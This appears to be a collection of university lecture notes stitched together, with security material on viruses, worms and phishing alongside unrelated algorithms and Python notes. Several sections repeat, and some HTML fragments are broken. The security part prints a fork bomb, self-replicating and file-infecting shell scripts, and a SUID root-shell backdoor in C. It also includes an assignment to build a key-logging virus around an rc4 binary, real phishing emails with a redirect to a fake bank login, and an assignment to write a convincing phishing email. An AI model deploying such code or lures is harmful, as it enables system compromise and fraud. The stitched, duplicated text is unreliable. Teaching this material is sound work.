As a security professional, you've been handed four cryptic messages (the files mystery1 to mystery4). Your task is to figure out what you can about them. The campus police found them on a confiscated machine with a “suspicious character-based interface” (http://www.eff.org/deeplinks/2009/04/boston-college-prompt-commands-are-suspicious). Normal programs like word cannot convert them into readable data so clearly they are important.

1) are they encrypted in a serious manner?
2) Can you translate them? (The answer to this is yes, by the way)
3) what is the relevant character size in the files? (hint use the phi test on single, double, ..., sets of characters).
4) Are any of them in the same key?
5) What is the text?

Another big hint – the most common character in ASCII text (as opposed to the letters of the text) is ' ' (space).
Viruses and worms are interesting examples because they can replicate. Informally, we can define the difference between them by stating that viruses propagate by generic mechanisms (i.e. The program is run by a user, the program may have arrived by a disk or in an email), while worms target system vulnerabilities and spread by a very specific and automatic manner. Worms typically spread by networks, while a virus can be spread by any method that exchanges executable code. Viruses typically “wrap” another program and mimic its function, while worms tend to simply replicate.

Generic structure of a virus/worm in pseudo-code

```
start
look for new program to infect
  infect it
look for trigger condition
  trigger payload
run original code
stop
```

The infection step is required, and can be forming a new process. The trigger condition and payload are optional and used when a virus is designed to do something.

Viruses do not need to be complicated, nor do they need to be a binary executable. Here is a scripting one that will crash most Unix machines.

The file a.sh contains:

```
#!/bin/sh
/a.sh &; ./a.sh &;
```

This will replicate two processes and rapidly fill up process space. Even using sleep will not stop it.

A more benign example is:

```
#!/bin/sh
echo "I've just replicated"
sleep 10
./a.sh &
```

Viruses can also be made self-limiting:
#!/bin/sh
myname=areplicator
echo "$myname I've just replicated "
newname="$myname"a
if [ ! -f $newname.sh ]
then
cat $myname.sh | sed/s/$myname/$newname/ > $newname.sh
chmod +x $newname.sh
sleep 10
./$newname.sh &
fi
sleep 10
./$myname.sh &

Infecting other programs:
Programs typically have a preamble that does things like allocating memory and resolving system libraries. A virus will typically insert after that preamble and before the regular program. We can mimic this with a script:

Assume there is a program called target.

#!/bin/sh
# this will infect a file named target and ONLY a file named target

myname=infected.target

if [ ! -f .target ]
then
if [ ! -f target ]
then
mv target .target
cat $myname | sed/s/$myname/target/ > target
chmod +x target
fi
fi

./infected.target $*

After this script is called, invoking the program “./target” will invoke a copy of this script and then the target program.
A real-world example

<title>Error</title>
This shows two basic parts.
1) encoded executable
2) instructions for decoding and executing executable. Executable replicates and (presumably) does damage.

The critical security feature about viruses and worms is that they invalidate the underlying security models of the system.

Pseudo-code:

\[ \text{initialize} \]
find my user name.
   If i'm root and the file doesn't already exist
create the following program
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main(char *argv[], char *envp[])
{
    printf("%d %s\n", execl("/bin/sh", "/bin/sh", NULL), strerror(errno));
}

compile it, move it to an accessible place and set the
SUID bit
remove temporary files
otherwise
   do nothing
after this do whatever the program originally did.
End.

Deciding whether a program is a virus is formally undecidable – akin to the stopping
problem.

Let D(V) be a property of a virus that a virus scanner might detect (like a
signature).
then is the program below a virus?

If( D(V) ) then
   act normal
else
   infect
Class work:

**It will be graded, Due Nov 1 2016**

Write a C or C++ program that replicates itself by invoking creating a copy and invoking the compiler. (the `system(const char *)` call is a good bet here).

The program should write its own source from memory and then compile it to produce a new executable.

This is a bit tricky and I want to see your work.

NOTE: This really must be done in C or C++ and on the Unix machines. The goal is to have a program that modifies its executable. Using a compiler flag (``source`` or similar) or a short example program that can be found on the web will not count. The purpose of this exercise is to understand the steps that a viral program must perform, and not simply an exercise in “demon” programming.

A BIG HINT:

```c
static char a[100] = “a”;
allocate in the executable image?
```

ANOTHER BIG HINT:

Once you understand the first hint. Can you change what the program stored so that a program like:

```c
int main()
{
    static char a[100] = “hello\n”
    printf(“%s”,a);
}
```

prints goodbye instead of hello? (without changing the C source and recompiling).
Phishing for fun and profit.  CSc 8370 Fall 16

Phishing (and the related idea of Pharming) refer to the idea of sending a plausible email to a range of potential victims and retrieving personal information from them that is then used to commit fraud. The fraud can range from straightforward raids on bank accounts and credit cards to more sophisticated information theft.

Phishing initially started with a relatively simple approach where the email simply has a bogus link like:

\[ <a \text{href}="http://evilsite/login.html">http://mybank.com/login.html</a> \]

The file on evilsite then asks for the information and logs it.

Slightly more sophisticated attempts at obfuscation include using backspace characters in the file name or directory and binary encoding.

The next three examples are of this simple form.

(note – sometimes the personal information is not the target but simply a conformation that an email is live. Also sometimes the aim is to keep a web browser alive with links active while downloading a worm or virus.)

These are relatively easy to defend against because:

1) constant addresses can be blacklisted

2) Stereotypical messages can be filtered with Bayesian techniques.

More modern approaches use a couple of tricks:

1) DNS cache poisoning – Force a false name into the cache and use it to direct the phishing page to a new location (after all there are only so many variations of paypa1.com)

2) illegal names - using an illegal site name (too many a.b.c.d.co.uk) helps with DNS cache poisoning as there is no resolution possible by standard methods.

3) Redirection to redirection to redirection. - simple blacklisting only goes one layer deep and therefore nested redirection lets your site survive. Many viruses are used simply to host site redirections.

4) Unusual directory names to hide content or force non-standard access. Make the directory abc.asp – most automated searches will try to retrieve the file abc.asp and fail rather than go to the directory abc.asp/

5) (HTML email only). Use a block of random non-sense text to fool a Bayesian filter, but use font characteristics (often in the CSS) to color it so that it is invisible by being the same color as the page..
Dear Citibank valued customer,

In order to serve you better and combat fraud, we have introduced a new Account Fraud Protection Program. This program is free and it will help us ensure that your private information is protected.

We strongly recommend that you apply for our new Account Fraud Protection Program.

This new security feature will help you to avoid any possible fraudulent transactions with your account.

To apply for your personal Account Fraud Protection Program, please input your details below.

Account Fraud Protection Program

Citibank Cardmember Services

© 2004 Citibank Online. All rights reserved.
Dear Citibank Member,

This email was sent by the Citibank server to verify your E-mail address. You must complete this process by clicking on the link below and entering in the small window your Citibank ATM/Debit Card number and PIN that you use on ATM.

This is done for your protection - because some of our members no longer have access to their e-mail addresses and we must verify it.

To verify your E-mail address and access your bank account, click on the link below:

https://web-de-us.citibank.com/signin/citifi/scripts/email_verify.jsp

----------------------------------------

Thank you for using Citibank

----------------------------------------
At PayPal, protecting your account's security is our top priority. Updating your data will help us to prevent attempts of unauthorized access to your account. In order to verify your account, please fill in the form below and press SUBMIT button. The information must match our records. If not, this may lead to account suspension and further investigation.

<table>
<thead>
<tr>
<th>Card Number:</th>
<th>Visa, MasterCard, Discover, and American Express accepted Visa, MasterCard, Discover, and American Express accepted Visa, MasterCard, Discover, and American Express accepted</th>
</tr>
</thead>
<tbody>
<tr>
<td>Expiration Date:</td>
<td>01  2004</td>
</tr>
</tbody>
</table>

**PINS (for Bank Verification):**

Submit
In order to service you better and combat fraud, we have introduced a new Account Fraud Protection Program. This program is free and it will help us ensure that your private information is protected.

We strongly recommend that you apply for our new Account Fraud Protection Program.

This new security feature will help you to avoid any possible fraudulent transactions with your account.

To apply for your personal Account Fraud Protection Program, please input your details below:

Citibank Cardmember Services

© 2004 Citibank Online. All rights reserved.
Dear Citibank Member,

This email was sent by the Citibank server to verify your E-mail address. You must complete this process by clicking on the link below and entering in the small window your Citibank ATM/Debit Card number and PIN that you use on ATM.

This is done for your protection - because some of our members no longer have access to their email addresses and we must verify it.

To verify your E-mail address and access your bank account, click on the link below:

https://web.us.citibank.com/signin/citifi/scripts/email_verifyjsp

Thank you for using Citibank
Notice the single pixel images. This is done to leave an entry in the web server log that can be used to deduce when something was entered and to validate that the email was “live” even if the victim does not give any personal information.
More modern techniques use redirection and random text to defeat simple countermeasures. They also work hard to be authentic.

Here's one from “bank of America”

---

```plaintext
From onlinebanking@bankofamerica.com Fri Sep 21 09:30:46 2007
Return-Path: <onlinebanking@bankofamerica.com>
Received: from techie.cs.gsu.edu (techie.cs.gsu.edu [131.96.49.104])
    by asterix.cs.gsu.edu (8.13.7/8.13.7) with ESMTP id 18LDUKUs019325
    for <cscrwh@asterix.cs.gsu.edu>; Fri, 21 Sep 2007 09:30:46 -0400
Received: from BEYNON1.beynonsports.com (mail2.beynonsports.com [216.214.107.138])
    by techie.cs.gsu.edu (8.13.1/8.13.1) with ESMTP id 18LCosbB012392
    for <rharrison@cs.gsu.edu>; Fri, 21 Sep 2007 08:38:54 -0400
Received: from User ([216.138.96.71]) by BEYNON1.beynonsports.com with Microsoft
    SMTPSVC(6.0.3790.1830);
    Fri, 21 Sep 2007 07:59:15 -0400
Reply-To: <onlinebanking@bankofamerica.com>
From: "Bank Of America"<onlinebanking@bankofamerica.com>
Subject: Update Notification
Date: Fri, 21 Sep 2007 07:00:37 -0500
MIME-Version: 1.0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
```

---

The email is:

```
From onlinebanking@bankofamerica.com Fri Sep 21 09:30:46 2007
Return-Path: <onlinebanking@bankofamerica.com>
Received: from techie.cs.gsu.edu (techie.cs.gsu.edu [131.96.49.104])
    by asterix.cs.gsu.edu (8.13.7/8.13.7) with ESMTP id 18LDUKUs019325
    for <cscrwh@asterix.cs.gsu.edu>; Fri, 21 Sep 2007 09:30:46 -0400
Received: from BEYNON1.beynonsports.com (mail2.beynonsports.com [216.214.107.138])
    by techie.cs.gsu.edu (8.13.1/8.13.1) with ESMTP id 18LCosbB012392
    for <rharrison@cs.gsu.edu>; Fri, 21 Sep 2007 08:38:54 -0400
Received: from User ([216.138.96.71]) by BEYNON1.beynonsports.com with Microsoft
    SMTPSVC(6.0.3790.1830);
    Fri, 21 Sep 2007 07:59:15 -0400
Reply-To: <onlinebanking@bankofamerica.com>
From: "Bank Of America"<onlinebanking@bankofamerica.com>
Subject: Update Notification
Date: Fri, 21 Sep 2007 07:00:37 -0500
MIME-Version: 1.0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en">
  
  <head>
    <!-- embedded style sheet -->
    <style type="text/css">
      a:link {
        color: #405ebe;
        background: #ffffff;
      }
      a:hover {
        color: #0000ff;
        background: #ffffff;
      }
      body, table, div, h1, h2, h3, h4, h5, h6, p {
        font-family: verdana;
        color: #333333;
        background: #ffffff;
      }
      .font-sign-in {
        font-size: 70%;
        font-family: "verdana";
        font-weight: bold;
        background: #f0f0f0;
        line-height: 1.4;
      }
      h1 {
        font-size: 100%;
        font-family: verdana;
        color: #d4001a;
        background: #ffffff;
        margin-bottom: 0px;
      }
      .font-title-red {
        font-size: 105%;
        font-family: verdana;
        color: #d4001a;
        background: #ffffff;
        margin-bottom: 0px;
      }
      .font-x {
        font-size: 75%;
        font-family: verdana, arial, geneva, helvetica, sans-serif;
      }
      .font-y {
        font-size: 70%;
        font-family: verdana, arial, geneva, helvetica, sans-serif;
        background: #f0f0f0;
        line-height: 1.4;
      }
      .font-footer {
        color: #333333;
        background: #ffffff;
        font-size: 70%;
        margin-top: 0em;
      }
    </style>
  </head>
  
  <title>Bank of America Alert</title>

  <!-- embedded style sheet -->

  <body>
    <!-- embedded style sheet -->
  </body>
</html>
<table>
<thead>
<tr>
<th>Column 1</th>
<th>Column 2</th>
<th>Column 3</th>
<th>Column 4</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data 1</td>
<td>Data 2</td>
<td>Data 3</td>
<td>Data 4</td>
</tr>
<tr>
<td>Data 5</td>
<td>Data 6</td>
<td>Data 7</td>
<td>Data 8</td>
</tr>
<tr>
<td>Data 9</td>
<td>Data 10</td>
<td>Data 11</td>
<td>Data 12</td>
</tr>
<tr>
<td>Data 13</td>
<td>Data 14</td>
<td>Data 15</td>
<td>Data 16</td>
</tr>
</tbody>
</table>

---

 <!-- body -->
</head>
<body>
<table width="747" border="0" cellpadding="0"
cellspacing="0" summary="Email Body Layout">
<!-- table header -->
<tr class="banner-row">
  <td class="all-four-col" colspan="4">
    <img width=747 height=70 src="http://alert.bankofamerica.com/images/client/bankofamerica/email_masthe..."/>  
  </td>
</tr>
</table>
</body>
Remember:<br>Always look for<br>your SiteKey before<br>you enter your<br>passcode during<br><a href="http://www.bankofamerica.com" style="color: #d4001a; text-decoration: none; background: #f0f0f0;" title="Sign in to Bank of America Online Banking.">Sign In &raquo;</a>

Notification</h1>

We here at Bank Of America are working 24 hours a day to keep you protected from identity theft.
It has come to our attention that you must update your Bank Of America account.
Please fill out this form below to verify your information. If you do not update your Bank Of America account within 24 hours the account will be suspended until further notice.
NOTE: Bank Of America will never ask for your personal pin, don't give it to anyone.

Marry Johnson
Bank Of America Fraud Division

Please Click Here To Fill Out The Form.

Marry Johnson
Bank Of America Fraud Division

retrieving the file from http://fondolisiados.gob.sv/navbar2/onlinebanking/
... pages and pages of BOA javascript is deleted to save space ... It's straight from the BOA website and not important for the scam.

Here are the only changes:

```javascript
var errorWinOpen = 0;
var errorMsg = "null";
var baseURL = "/cgi-bin/ias/4KTs2fjN05Va4JgTQE9WI4Bvb/jhaFNgFjech7og29088/3/";
var timeOutURL = "/cgi-bin/ias/4KTs2fjN05Va4JgTQE9WI4Bvb/jhaFNgFjech7og29088/3/bofa/ibd/IAS/presentation/TimeoutControl?ENROLL_AREA=X&ENROLL_CHANNEL=WEB";
var myTimeoutMilliseconds = 1680000;

var atmPinHelpUrl = "/eas-docs/help/atmpinhelp.html"; // atmpinhelp.html

function LoadPage()
{
    document.theForm.AccessID.focus();
    customaryLoadPage();
}
```

This meta-tag is also a giveaway.
... much more deleted (37 pages even at 8point). Almost all is directly from the bank.
Dear Central Bank Customer:

We recently noticed more attempts to log into your account from a foreign IP address. You should update your Central Bank account as soon as possible to confirm all information required. If you don't do this you will no longer be able to use your account without them.

This can be done at the: https://myonlineservices.centralbank.net/ISRVWebApplication/login/Login.jsp

Thank you,
Central Bank

This unlikely looking email is from a sophisticated phishing attempt.

the file rupt.html is s redirection link:
<script type="text/javascript">
<!--
window.location = "http://219.106.247.168/myonlineservices.centralbank.net/ISRVWebApplication/login/Login.html"
//-->
</script>

Following that link leads to a set of php programs that emulate the web site and
eventually post the results via a cgi call to the web server log.
Class labwork and home assignment due Nov 1 2016

Write a “phishing” email in HTML. It should “look real”. You won't be able to open CGI-scripts because of security issues, so it will be difficult to make it work. (Could you make it email the information or use Javascript (or even better PHP) to save it?) At a minimum it should open some other unexpected page.
Disassembly is taking apart a binary to see what it does. This is non-trivial with traditional compiled languages – due to the complexity of the language, code optimization, and symbolic information that is lost during compilation.

GDB

gdb program
disass <location>

helps if the symbols are there, but x86 assembly can be cryptic. Some code optimizations can be difficult to understand (test ax,ax vs mov ax,0).

The general disassembly and code recovery problem is tricky with x86 because the instructions are not all the same size, and you can end up in the middle of garbage.

Java

Java class files preserve oodles of information. Java “disassembly” can recover the code. You can modify the code and recompile it.

Download and install or use online http://jd.benow.ca

find a java class file and take a look.

This is a real problem for game developers, where clone games are made by changing the graphics.
As a security professional, you've been handed four cryptic messages. Your task is to figure out what you can about them. The campus police found them on a confiscated machine with a “suspicious character-based interface” (http://www.eff.org/deeplinks/2009/04/boston-college-prompt-commands-are-suspicious). Normal programs like word cannot convert them into readable data so clearly they are important.

1) are they encrypted in a serious manner?
2) Can you translate them? (The answer to this is yes, by the way)
3) what is the relevant character size in the files? (hint use the phi test on single, double, ..., sets of characters).
4) Are any of them in the same key?
5) What is the text?

Another big hint – the most common character in ASCII text (as opposed to the letters of the text) is ' ' (space).
Viruses and worms are interesting examples because they can replicate. Informally, we can define the difference between them by stating that viruses propagate by generic mechanisms (i.e. The program is run by a user, the program may have arrived by a disk or in an email), while worms target system vulnerabilities and spread by a very specific and automatic manner. Worms typically spread by networks, while a virus can be spread by any method that exchanges executable code. Viruses typically “wrap” another program and mimic its function, while worms tend to simply replicate.

Generic structure of a virus/worm in pseudo-code

```
start
look for new program to infect
  infect it
look for trigger condition
  trigger payload
run original code
stop
```

The infection step is required, and can be forming a new process. The trigger condition and payload are optional and used when a virus is designed to do something.

Viruses do not need to be complicated, nor do they need to be a binary executable. Here is a scripting one that will crash most Unix machines.

The file a.sh contains:
```
#!/bin/sh
/a.sh &; ./a.sh &;
```

This will replicate two processes and rapidly fill up process space. Even using sleep will not stop it.

A more benign example is:
```
#!/bin/sh
echo "I've just replicated "
sleep 10
./a.sh &
```

Viruses can also be made self-limiting:
#!/bin/sh
mynname=areplicator
echo "$mynname I've just replicated "
newname="$mynname"a
if [ ! -f $newname.sh ]
then
cat $mynname.sh | sed s/$mynname/$newname/ > $newname.sh
chmod +x $newname.sh
sleep 10
./$newname.sh &
fi
sleep 10
./$mynname.sh &

Infecting other programs:
Programs typically have a preamble that does things like allocating memory and resolving system libraries. A virus will typically insert after that preamble and before the regular program. We can mimic this with a script:

Assume there is a program called target.

#!/bin/sh
# this will infect a file named target and ONLY a file named target
mynname=infected.target

if [ ! -f .target ]
then
if [ ! -f target ]
then

mv target .target
cat $mynname $ sed s/$mynname/target/ > target
chmod +x target

fi
fi

./infected.target $*

After this script is called, invoking the program "./target" will invoke a copy of this script and then the target program.
A real-world example

<title>Error</title>
This shows two basic parts.
1) encoded executable
2) instructions for decoding and executing executable. Executable replicates and (presumably) does damage.

The critical security feature about viruses and worms is that they invalidate the underlying security models of the system.

Pseudo-code:
initialize
find my user name.
  If i'm root and the file doesn't already exist
  create the following program
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main(char *argv[], char *envp[])
{
  printf("%d %s\n", execl("/bin/sh", "/bin/sh", NULL), strerror(errno));
}

compile it, move it to an accessible place and set the
SUID bit
remove temporary files
otherwise
  do nothing
after this do whatever the program originally did.
End.

Deciding whether a program is a virus is formally undecidable – akin to the stopping
problem.

Let D(V) be a property of a virus that a virus scanner might detect (like a
signature).
then is the program below a virus?

If( D(V) ) then
  act normal
else
  infect
Class work:

**It will be graded, Due Nov 9 2017**

Write a C or C++ program that replicates itself by invoking creating a copy and invoking the compiler. (the `system(const char *)` call is a good bet here).

The program should write its own source from memory and then compile it to produce a new executable.

This is a bit tricky and I want to see your work.

NOTE: This really must be done in C or C++ and on the Unix machines. The goal is to have a program that modifies its executable. Using a compiler flag (`__source__` or similar) or a short example program that can be found on the web will not count. The purpose of this exercise is to understand the steps that a viral program must perform, and not simply an exercise in “demon” programming.

A BIG HINT:

what does the C code:

```c
static char a[100] = “a”;
```

allocate in the executable image?

ANOTHER BIG HINT:

Once you understand the first hint. Can you change what the program stored so that a program like:

```c
int main()
{
    static char a[100] = “hello\n”
    printf(“%s”,a);
}
```

prints goodbye instead of hello? (without changing the C source and recompiling).
Weaponizing the worm

RWH

November 2, 2017

Abstract

Your task is to take the self-replicating program and turn it into a virus. Specifically, the virus should only wrap the rc4 executable. It should log the key and file information.

The steps

Follow these steps and it will be straightforward.

first program

This program does the infection.

1. The program should check and see if a copy of rc4 is present
2. The program should read the copy of rc4 and see whether or not it is infected.
3. If (and only if) the rc4 program hasn’t been infected, it should write a c-program with a reserved static area for the rc4 executable (it should figure out how much static storage is needed.) It should then compile and execute this second program.
   Alternatively you could use a hex encoding of the rc4 executable and insert it in the c language code.
   A ”fully weaponized” version of this program would insert its own code into the second program so that it could keep propagating. You can do this if you want, in which case this program would have a pass similar to the original self-replicating program to insert its code into itself.

second program

This is the actual wrapped code.

1. As in the worm, check for the presence of the rc4 executable. If it is not present then do the same thing as the worm and generate a new executable with the rc4 code within in it. Replace the existing rc4 executable with your new one.
2. If the executable is present inside the code, write a copy to \tmp, use chmod or whatever is needed to make it executable, and then run it with the appropriate redirections of stdin, stdout and stderr (there are posix calls for this). Log the command line to some file. When it is finished delete the copy of rc4 from the \tmp directory.
   You will probably need to rewrite the way the program is called (i.e. if it was ”\rc4 key < a > b” you will likely need to do ”\tmp key < a > b” )
Notes about algorithms and basic computer science

There is an important hierarchy in computer science.

Algorithm
Hueristic
Program Source
Program Implementation.

An algorithm is a formal, provable construct that describes a method of solving a problem or performing a task. A heuristic is a formal construct that may or may not solve a task. An algorithm can be designed that implements a heuristic to find an approximate solution. The genetic algorithm, simulated annealing and ant colony algorithms are all implementations of heuristics.

Describing an algorithm in a language like Java, C, C++ or Python results in an implementation.

An algorithm is an:

1) Ordered sequence of steps
2) Each step is effectively computable, and can include logical operations and the ability to move to another specified step.
3) Stops
4) Returns a result

Algorithms can be described in many ways.

Flow Charts: Purely graphical, somewhat difficult to understand and non-descriptive.

Program Source: Bound to a particular implementation. Programming languages have “housekeeping” features that do not describe the algorithm. For example in C programs need to have an “int main( int argc, char **argv)” to compile, and in Java there is the “Public Static Int main()” construct. It is also necessary to be familiar with the language to understand it. An algorithm presented in LISP, for example is clear only to people who know LISP.

Pseudocode: Describe the steps in a loose, but formal manner. Often looks like C or Pascal. Use English sentences and equations to describe actions rather than a formal regular grammar. There is an agreed upon style, but it is not a rigorous specification. Typical pseudocode uses structured programming constructs like “for” or “foreach”.
For example, here is a C/Java fragment to sum the numbers from one to ten.

```java
int i, sum;
...
sum = 0;
for( i=1; i<11; i++)
    { sum += i;}
```

Unless you know the language this is unclear, and it would be good programming style to add comments explaining what was being done and why it was being done.

In pseudocode

Procedure sum  <= a name so we can refer to it. The word ‘procedure’ is optional.

Define an integer to hold the sum, set it to zero.
For each integer from 1 to 10 add the integer to the sum

Return the value of the sum.

Is this an algorithm?

**Effectively computable operations**

What do we mean by effectively computable?

1) Defined numerical operations. (i.e. \(a = b + c\) or \(a = 0\) but not \(a = b/0\))
2) Logical operations (i.e. is \(a > b\) ?)
3) Moving to a defined location in the program (i.e. goto step a, call procedure)

All the elements of a program can be made from these operations. See the attached worksheet for details.
Worksheet due 10/07/09

Write out the pseudocode (an ordered sequence of clearly computable steps) for number of items in a list of numbers. You can assume that there is some way of knowing that you are at the end of the list.

Write out the pseudocode for finding the average value of a list of numbers. (you can use the procedure you defined above).

Write out the pseudocode for finding the minimum value from a list of numbers.
Analysis of Algorithms.

How do we compare two algorithms that purport to solve the same problem?

1) Analysis of correctness.
2) Runtime?
   The problem is that the runtime (i.e. how long it takes to run on a computer) is not a well determined number. The same algorithm will have different runtimes depending on: the computer language, the specific compiler used, the kind of machine, the load of the machine and other uncontrolled factors.
3) Difficulty of programming?
   This is sort of valid. Much of the cost of software is actually production and maintenance. Complicated algorithms, unless really superior for the problem at hand, will be harder to understand, harder to implement, and more prone to incorrect programming than simpler algorithms.
4) Asymptotic Complexity.
   Analyze the algorithm to determine the critical or expensive step. Count how often that step is used for the size of the problem (N). Then find a functional relationship between the number of times the step is used and N. There are a number of bounds that can be used here. (note to the cognoscenti – I’m using $O()$ or big O notation, which is sort of old-fashioned – the more rigorous ($\omega, \Theta$) bounds are what is used in the literature).

**Rules for asymptotic algebra.**
Basically take the limit as $N \to \infty$, and drop constants.

Keep only the highest power

$$O(N^2+3N + 4) = O(N^2)$$

Drop Leading constants.

$$O(50000N^n) = O(N^n)$$

Don’t drop terms that are only constant.

$$O(100) = O(1) = O(\text{constant}) \neq O(0)$$

If you have two input sizes then the complexity is a function of both of them.

$$O( NM ) \neq O(N) \neq O(M) \quad \text{unless N or M is a constant.}$$
The lower the order the polynomial the better the algorithm.

\( O(e^N) >> O(N^3) > O(N^2) >> O(N\lg N) > O(\lg N) >> O(\text{constant}) \quad \lg \text{ is log base } 2. \)

Algorithms are classed by their complexity. That is by the function inside the \( O() \). Algorithms that have non-polynomial terms (i.e. exponentials or factorials, or worse) are in class NP (Non-Polynomial). Algorithms that have polynomials are in class P (Polynomial). Constants are polynomials so constant time algorithms are also in class P.

What class are \( O(N\lg N) \) algorithms? Why?

The class NP includes the class P. It is not clear whether or not they are the same set. So the question \( \text{NP} = \text{P} \) ? is not yet known.

**Problems.**

For each of the following problems write pseudocode for the algorithm and establish its complexity.

1) Determine if an amino acid is in a sequence. That is given an input single letter code, find if it is in a sequence.
   a) Determine the position of the first instance (if there is one – what do you do if there isn’t one?)
   b) Determine the number of times the amino acid is in the sequence.
   c) Determine the length of the sequence.
2) Determine if a short sequence is completely within a longer sequence. (i.e. given the sequence ‘agtf’ find if it is in agtyag… - NOTE DO NOT MAKE YOUR CODE SPECIFIC FOR THIS PARTICULAR SEQUENCE FROM MY EXAMPLE). Give the complexity as a function of both the length of short sequence and the long sequence.
3) There is a term in an energy function that is a function of the distance between all pairs of atoms in a structure. (actually there are several kinds of terms – but that is a later lecture).
   a) Find the distance between two atoms.
   b) Sum the function \((1./\text{distance})\) overall all unique pairs of atoms. Exclude summing atoms with themselves since that would be unbounded.
4) No pseudo code on this one. What is the complexity of the number of covalent chemical bonds in a molecule? If there are \( N \) atoms is it \( N, N^2, \ldots, e^N \)? Why?
Fun with Python

Learning a new language in several easy steps.

What does a computer language have to do?

Data Representation, storage, and Recall: There has to be a way to set variables and to refer to the values they contain. Python has the regular set of things like characters, integers, floating point numbers and strings. It doesn’t have a declaration statement (no int i; like java) nor does it have implicit values like FORTRAN. It doesn’t have arrays, as such. It has lists, tuples and dictionaries. It also uses garbage collection to remove data space that is no longer used – which can have some interesting effects on performance.

```
i = 1 defines an integer i as one.
[0, 1, 2, 3] is a list of 4 integers
[“CA”, 1., 1.1, 3.] is a list with a string and three floating point numbers
(“CA”, 1., 1.1, 3.) is the same data as a tuple
[ (“CA”, 1., 1.1, 3.), (“CA”, 4.8, 1.1, 3.) ] is a list of tuples
{ ‘atom1’: ”CA”, ‘atom2’: ”CB” } is a dictionary
“ABC” and ‘XYZ’ are strings
```

Lists, tuples and dictionaries can be indexed and assigned.

```
a = [1, 2, 3] means a is a list of numbers
a[1] is 2 because indexing starts with 0
a[1:] is [2, 3]
```

Conditional Operations There has to be a way to check if a logical condition is true or false and use that result to control the operation of the program.

```
if x < 0:
    do something
elif x == 1:
    do something else
else:
    do yet another thing
```

Python has continue, pass and break statements but not GOTO’s

Basic Numerical and Logical Operations

```
+ * / // % ** >= == <= > < != and more.
```
Iterative Control Structures

Python has for and while loops

for a in iterable :  # an iterable is something like a list that can be iterated on
    # an iterable is something like a list that can be iterated on
    print a

x = 0
while x < 100 :
    x += 1

Input and Output:

print x   prints the value of x
print “x equals “ + x   prints “x equals “ followed by the value of x

input requires knowing how to open a file (in general) but can work from a
standard input (i.e. the terminal)

for line in sys.stdin :    reads every line in from the terminal
line = readline (sys.stdin)   reads a line from the terminal

Libraries:

import sys   imports the system library
from sys import stdin   only imports stdin

Methods :

def amethod( an_argument):
    # some Python code
    return a_value

note that the size of the indents is really critical and Python will complain and not run it.
Functions can call themselves

def fib( i):
    # some Python code
    if i <= 1:  
        return 1
    return fib(i-1) + fib(i-2)

does the Fibonacci numbers (1,2,3,5,8,…)

def factorial(i):
    # some Python code
    if i<=1 :
        return 1
    return i*factorial(i-1)
**Objects** - how to extend the things the language knows about (one way to look at objects is as abstract data types – that describe new things to the language)

It uses a class mechanism to define and instantiate objects. An object is a logical structure that consists of data and methods that operate on the data. An example of an object for a specific piece of data is an instance.

Python makes this really explicit (unlike C++ & Java & most other languages)

```python
class a_class:
    def a_method_in_a_class (self, some_arguments):

If the method in the class operates on an example or instance then the first argument to the method is the data itself. (this is often referred to as self in code examples, but you can call it anything you want)

Many of the neat features of Python are objects themselves.

```python
class clown:
    honk = False
    def horn(self):
        if self.honk:
            print "honked"
            self.honk = False
        else:
            print "not honked"
            self.honk = True

bozzo = clown()
crusty = clown()
```

Python knows about numbers (integers and floating point), strings, lists, tuples and dictionaries. It doesn’t know about DNA or protein for example.

Let’s define a class that does.

```python
class protein:
    three_to_one = {'A': 'ALA'}
    three_to_one['D'] = 'ASP'
    # what the heck is going on here?
    ....
    def translate( self, c):
        return self.three_to_one[c]
```
or sequences

class sequence:
    my_seq = ""
    my_matrix = {'A': {'A': 10, 'R': -1},} # a dictionary of dictionaries for example
    def add_value(self, a_string):
        my_seq = a_string
    def distance(self, another_sequence):
        d = 0.
        # find which is the shorter sequence
        how_much = len(self.my_seq)
        if how_much < len(another_sequence.my_seq):
            how_much = len(another_sequence.my_seq)
        for i in range(0, how_much):  # [0, ..., how_much-1]
            c = self.my_matrix[self.my_seq[i]]
            d = d + c[another_sequence.my_seq[i]]
        return d
So far we've looked at algorithms in an abstract sense. We've asked how to write descriptions of algorithms and how to analyze them in terms of correctness and cost. What we've skipped is how to actually write a program.

Programming is part of computer science in exactly the same way that spelling and grammar are parts of English. It's a necessary skill, because you will eventually need to actually produce something that does something and in computer science the instantiation of the algorithm is a program.

We're using Python because:

- it is easy to learn
- has the basic control structures of an imperative language.
- has objects.
- has some of the features of a functional language
- and runs on our machines.

Installing Python

go to www.python.org and follow the downloading instructions. This worked on the instructor's PC and should work on yours. (It was supposed to be already installed, so check first).

Variables in Python

We need a way to talk about things like numbers without listing them all individually. So we give them a name.

```
a = 10
```

puts the value of 10 in a. Now that's fine, but what happens if we then say

```
a = 10
print a
a = 20
print a
```

In regular algebra the statement "10 = a" is defined, try it in Python. What happens? Why?

(hint in most computer languages the "=" sign really means assign the value to or something like put something in some place. (it ought to be written ←))

Python has more complex things than just numbers. We'll just use lists, but there are tuples and dictionaries as well.

```
[1,2,3,4] is a list containing the numbers 1,2,3,4
```

lists can contain lists and variables. Variables can be set to lists

What does `a = [1,2,3,4]` mean?
Fun with Python

Learning a new language in several easy steps.

What does a computer language have to do?

Data Representation, storage, and Recall: There has to be a way to set variables and to refer to the values they contain. Python has the regular set of things like characters, integers, floating point numbers and strings. It doesn’t have a declaration statement (no int i; like java) nor does it have implicit values like FORTRAN. It doesn’t have arrays, as such. It has lists, tuples and dictionaries. It also uses garbage collection to remove data space that is no longer used – which can have some interesting effects on performance.

i= 1 defines an integer i as one. 
[0,1,2,3] is a list of 4 integers
["CA", 1., 1.1, 3.] is a list with a string and three floating point numbers
("CA", 1., 1.1, 3.) is the same data as a tuple
[("CA",1., 1.1, 3.), ("CA", 4.8, 1.1,3.)] is a list of tuples
{ ‘atom1’:"CA", ‘atom2’:"CB"} is a dictionary
“ABC” and ‘XYZ’ are strings

Lists, tuples and dictionaries can be indexed and assigned.

a = [1,2,3] means a is a list of numbers
a[1] is 2 because indexing starts with 0
a[1:] is [2,3]

